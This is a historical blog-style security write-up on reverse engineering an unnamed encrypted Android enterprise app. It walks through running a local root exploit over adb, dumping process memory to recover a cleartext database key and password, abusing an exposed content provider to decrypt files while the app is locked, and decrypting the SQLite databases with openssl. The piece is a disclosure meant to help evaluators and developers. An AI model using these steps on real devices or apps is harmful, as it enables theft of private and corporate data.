Android Reversing

Note: This page was written in the early days of Android reversing when there wasn't much information available. Since then a lot has changed and some of these techniques will no longer work as described or better tools and methods now exist. This page is left here for historical reference as it is linked to by other sites, papers and books.

This project all started when I was asked to take a look at a software product that was under evaluation. The software ran on mobile devices such as iPhone and Android and allowed end users to securely connect to their organisation from their personal phones. It provided a sandbox environment where company data could be viewed, and it encrypted all of it's data. It is used by large blue chip companies and the literature claims it was evaluated and cleared by the US Department of Defence as suitable for use. I decided to verify the security myself and spent about 14 hours of my own time at home in which I was able to break the encryption and recover all data.

I cannot name the actual product but I have documented some of my technical notes below. They provide general tips, tricks and techniques that can be used by others to evaluate security of their mobile products. My hope is to also provide information for developers so that they understand where potential weaknesses are, and mitigate accordingly.

Scenario

For reference the main scenario I was working to evaluate was a common one: a user loses their mobile device or it is stolen. Because these devices are not under control of a central IT policy we have to assume that they won't necessarily have a device level password in place. Therefore I haven't (yet) looked at bypassing the device lockout screen. In addition, after its first launch the app I'm evaluating runs in the background in a locked state, with the user entering their password to unlock. So the scenario is that I find the device, it is running the security software but it is locked, what data can I retrieve?

Hardware & Software

The hardware I'm using is an HTC Desire running Android 2.2 (Froyo). It was the evaluation platform I had to work with and currently own, I have nothing against Android, in fact I really like it. I think the concepts will be similar for iPhone and most other capable smart phones (except perhaps BlackBerry in some cases). I also used a laptop running Linux.

Accessing The Device

A number of methods can be used to explore the device. For ease of analysis and documentation the device was accessed over USB from a Linux system using debug mode.

First the device needs to have debug mode enabled. Go to:

Settings > Applications > Development > USB Debugging

Then connect the device to the Linux host computer using the USB cable.

The software to use debug mode comes with the Android Software Development Kit which is a free download from Google. The SDK for Linux was simply downloaded and uncompressed.

First we list the devices detected by the Android Debug Bridge (ADB):

user@laptop:# ./adb devices 
List of devices attached 
HT07NPL03993    device

Then we connect to a shell on the device:

user@laptop:# ./adb shell 
$ 

Find out what user level we're running under:

$ id 
uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),3001(net_bt_admin),3002(net_bt),3003(inet)

We are running as user "shell" which is quite restricted and won't be able to see much on the system. The next task is to use an exploit to gain root privileges. There are a number of exploits that currently work and a common one was chosen. Note that this is a temporary escalation and is not quite the same as "rooting your device".

First upload the exploit to an area of the device that allows us write access:

user@laptop:# ./adb push rageagainstthecage-arm5.bin /data/local/tmp/rageagainstthecage-arm5.bin 
117 KB/s (5392 bytes in 0.044s) 

Then log back into the shell, change to the exploit directory, make it executable and run it:

user@laptop:# ./adb shell 
$ cd /data/local/tmp 
$ chmod 0755 rageagainstthecage-arm5.bin 
$ ./rageagainstthecage-arm5.bin 
[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C 

[*] checking NPROC limit ... 
[+] RLIMIT_NPROC={3319, 3319} 
[*] Searching for adb ... 
[+] Found adb as PID 7325 
[*] Spawning children. Dont type anything and wait for reset! 
...
[*] adb connection will be reset. restart adb server on desktop and re-login. 

Re-login to device:

user@laptop:# ./adb kill-server 
user@laptop:# ./adb shell 
* daemon not running. starting it now on port 5037 * 
* daemon started successfully * 
# 

Find out what user level we're running under:

#id 
uid=0(root) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),3001(net_bt_admin),3002(net_bt),3003(inet)

And we are now root, which makes things a little easier.

Memory Dump

In Android the memory is exposed via procfs in /proc/pid/mem and having root privileges means we can directly read and write the application's memory and even control flow of execution. The way to do this would be to attach to the app process using ptrace and use /proc/pid/map to get the memory addresses to access.

There is also another way to dump the memory of a process and it is already built into Android. First we change the permissions on a directory so the dump file can be written on the device:

# chmod 777 /data/misc 

Then we find the Process ID of our app (from a fictional company I've named Acme):

# ps 
USER     PID   PPID  VSIZE  RSS     WCHAN    PC         NAME 
root      1     0     344    252   c00ce65c 0000d2dc S /init 
root      2     0     0      0     c0076e3c 00000000 S kthreadd 
root      3     2     0      0     c0067fa8 00000000 S ksoftirqd/0 
...
app_74    465   66    133776 42428 ffffffff afd0ebd8 S com.acme.android.afe 
...
root      10679 1     3412   200   ffffffff 0000f474 S /sbin/adbd 
root      10685 10679 744    328   c0065ce4 afd0e88c S /system/bin/sh 
root      10689 10685 892    336   00000000 afd0d97c R ps 

Then send a SIGUSR1 signal to the process which will cause it to dump its memory:

# kill -10 465 

In the /data/misc directory we now have the dump file:

heap-dump-tm1289007218-pid465.hprof 

Now download it onto the laptop for analysis:

user@laptop:# ./adb pull /data/misc/heap-dump-tm1289007218-pid465.hprof . 
1109 KB/s (3656449 bytes in 3.217s) 

This dump file can now be opened in a memory analysis tool such as MAT but I just opened it in a HEX editor to see what it contained. I found that the memory dump contained sensitive data from inside the locked app such as email addresses, file names, server names and more.

A total of seven memory dumps were taken while analysing the app and in all cases potentially sensitive data listed above was present. In two cases the memory dumps also contained the clear text password used to unlock the app. In one dump the password was present once and in the other it was present twice. Although not consistent, when the password is present it could allow for complete compromise of the data stored in app and access into the organisation.

Reverse Engineering the Code

Android applications are mostly Java based which makes it slightly easier than normal to reverse the application code and can speed up analysis greatly. I found some useful links about Android decompiling in a blog post by Jack Mannino, so this part was pretty easy.

The following (free) tools were used:

First we get a copy of the app that is running on the device and copy to the laptop using the Android Debug Bridge from the SDK:

user@laptop:# ./adb pull /data/app/com.acme.android.afe-1.apk ./ 
1325 KB/s (5601716 bytes in 4.125s)

The apk file just downloaded is actually a zip file. After unzipping it we convert the manifest file into a readable format:

user@laptop:# java -jar ./AXMLPrinter2.jar AndroidManifest.xml >AndroidManifest.txt 

The manifest contains interesting information like permissions, intent filters, providers and lots more. There is one provider for the app I'm looking at called FileProvider which I'll come to later:

<provider 
    android:name="com.acme.android.FileProvider" 
    android:authorities="com.acme.android.afe.FileProvider" 
    > 
</provider>

Back in the unzipped application package there is a classes.dex file which contains all of the main code. First this needs to be converted into a jar:

user@laptop:# ./dex2jar.sh classes.dex

This creates classes.dex.dex2jar.jar which again can be unzipped to reveal the compiled class files. These can now be opened up in JD, the Java Decompiler, to reveal a fairly close representation of the original source code. This analysis does not cover a detailed review of the code but on first glance I could see some interesting things such as static salt values (for encryption) and the method for decrypting files stored in the "sandbox" which can be invoked from an external program.

Copying the Application and Data

The app and data were extracted from the running device and migrated to a virtual Android environment. No specific attack was kept in mind for this experiment but one might conclude that it aids analysis by having the app running in a virtual environment completely under the control of the hacker. Although untested it may be possible to run and maintain the app from a PC instead of a handheld, opening it up to new risks. With some further work it may also enable an attacker to retain access to the system even when not in possession of the device. Finally, the state can be continually reverted meaning the app's ability to lock/wipe itself after a number of failed password attempts is rendered useless.

First I pushed the busybox application to the device which will make copying easier. Then I set the path to busybox:

user@laptop:# ./adb shell 
# export PATH=/data/local/tmp:$PATH 

Change to the data directory and then copy the application data to the SD Card

# cd /data/data
# busybox cp -R com.acme.android.afe /sdcard

Copy the data from the SD Card to the laptop and then push it to the Android emulator (part of the free Android SDK) which is running on the laptop:

user@laptop:# ./adb push com.acme.android.afe /data/data/com.acme.android.afe

Install the application package on the emulator:

user@laptop:# ./adb install com.acme.android.afe-1.apk

Launching the emulator I found the application ran fine.

Manually Invoking User Interface Elements

Android applications contain "activities". An activity in Android parlance is a single focussed thing that a user can do and almost all activities interact with the user. Generally speaking, an Activity usually has its own window so that the user can interact with it.

The app I'm testing exposes a number of activities which can be enumerated from a number of places. Firstly the manifest XML decoded earlier, then the code that was decompiled and yet another great way is to query the Android system itself. Android maintains package information like Activity/Intent/Service/Provider in the PackageManagerService. You can query the service information from an ADB shell like so:

# dumpsys package > packages.txt

The packages.txt file was copied onto the laptop and searched for com.acme.android. The results showed activities such as:

com.acme.android.SecurityPreferenceActivity: 
    com.acme.android.afe/com.acme.android.ui.activities.settings.SecurityPreferenceActivity

It is possible to manually launch such an activity from the ADB shell with the following command:

# am start -n com.acme.android.afe/com.acme.android.ui.activities.settings.SecurityPreferenceActivity 
Starting: Intent { cmp=com.acme.android.afe/com.acme.android.ui.activities.settings.SecurityPreferenceActivity }

The app will then try to switch to the Security Preferences screen. The hope was that even though the app was locked it would allow us to navigate directly to other screens. It seems the app was well implemented in this regard and would only show the unlock screen and the password reset screen. All listed activities were tried with the same result. The app included code in each activity to check if it was in an "unlocked" state and if it wasn't, it would jump back to the lock screen. This technique could be used to find hidden screens and jump around an application in a way the developer hasn't anticipated so it is good design that they checked for this. That said, it is of course possible to modify the application in memory to get the unlocked test to always return true, but I did not need to go that far in the end...

Content Providers

There is no common storage area that all Android packages can access but it does allow data sharing using content providers. This is how the app I'm testing shares data with, for example, a PDF reader in order to allow the user to view a PDF stored in the encrypted "sandbox".

In the reverse engineering section we saw that the manifest file contained one content provider called FileProvider. In the decompiled code I could see this is used to decrypt files on the fly and serve them to external applications when the user wants to view them. The next experiment will look to utilise this function by manually invoking it to decrypt stored files.

The following test was conducted on the Android device with the security app in a locked state:

Change directory to where the app stores encrypted files:

# cd /data/data/com.acme.android.afe/files

First we inspect the contents of one of the files to see if it is really encrypted:

# cat somefile
(binary data displayed)

The file appears to be encrypted. We run the command below with the intention of launching the Android HTMLViewer and requesting the file through the app's content provider, which should decrypt it on the fly.

# am start -a android.intent.action.VIEW -d content://com.acme.android.afe.FileProvider/files/somefile -t text -n com.android.htmlviewer/.HTMLViewerActivity 

Starting: Intent { act=android.intent.action.VIEW dat=content://com.acme.android.afe.FileProvider/files/somefile typ=text cmp=com.android.htmlviewer/.HTMLViewerActivity }

On the Android device the HTMLViewer pops up and we see that the attachment has been decrypted while the app is locked without entering the password, and then rendered successfully. It was found that the same process could be used to decrypt any file stored by the app.

Stealing the Key

When first started the app does not have access to the data. Entering the password or performing the Reset Password activity decrypts the keys required to access the databases and files. The software stores lots of juicy information in encrypted SQLite databases such as contacts, configuration settings, keys and potentially sensitive data from the organisation.

SQLite is the standard way for Android applications to store data and is built-in, just like the iPhone. The standard SQLite on Android does not yet offer encryption but there are a few implementations out there including one from the makers of SQLite themselves, for a fee.

The app uses Java Native Interface to hook into a natively compiled SQLite library sitting in:

/data/data/com.acme.android.afe/lib/libdb.so

When the user enters the correct password the app initialises the database session using this modified version of SQLite 3.

Analysis of the library shows that as well as SQLite it includes functions for implementing AES encryption in CBC mode for transparently encrypting/decrypting the database files. It was similar to the open source encrypted SQLite offerings I found but not exactly the same. One similar thing I found is that when calling the library to execute SQL statements the application needs to set a PRAGMA value as:

PRAGMA hexkey='<databasekey>'

This database key is derived from decrypting (using the user's password or reset password) the key held in the file:

/data/data/com.acme.android.afe/shared_prefs/prefs.xml

The device under evaluation had the app running and in a locked state. As shown in the Memory Dump section it was trivial to dump the memory of the running process. In every single case the memory dump contained the database key in clear text! The key didn't change between memory dumps even after changing the password and rebooting the device. This really is the weak link. With all the fancy encryption functionality it all came down to exposing the database encryption key when calling the SQLite library and leaving it in memory.

The database key was a hex encoded string of a 24 byte key (i.e. 48 bytes), meaning that it was likely a 192bit AES key.

The app database files are held on the device in:

/data/data/com.acme.android.afe/databases/

The databases were copied to the Linux laptop and OpenSSL was then run to decrypt the databases with the key from the memory dump. An "IV" should also be supplied here but it appears one was not used so I set it to zero:

user@laptop:# openssl aes-192-cbc -in someDB.db -out someDB.db.dec -K 0123456789ABCFEF0123456789ABCFEF0123456789ABCFEF -iv 0 -d 
bad decrypt 
26402:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:evp_enc.c:330: 

There were some errors in the decryption, however when viewing the resulting file the contents of previously encrypted content (even content I thought I had deleted), keys, configuration and more were there in clear text.

At this point I stopped my evaluation as it was game over. Hope these tips and tricks help you out.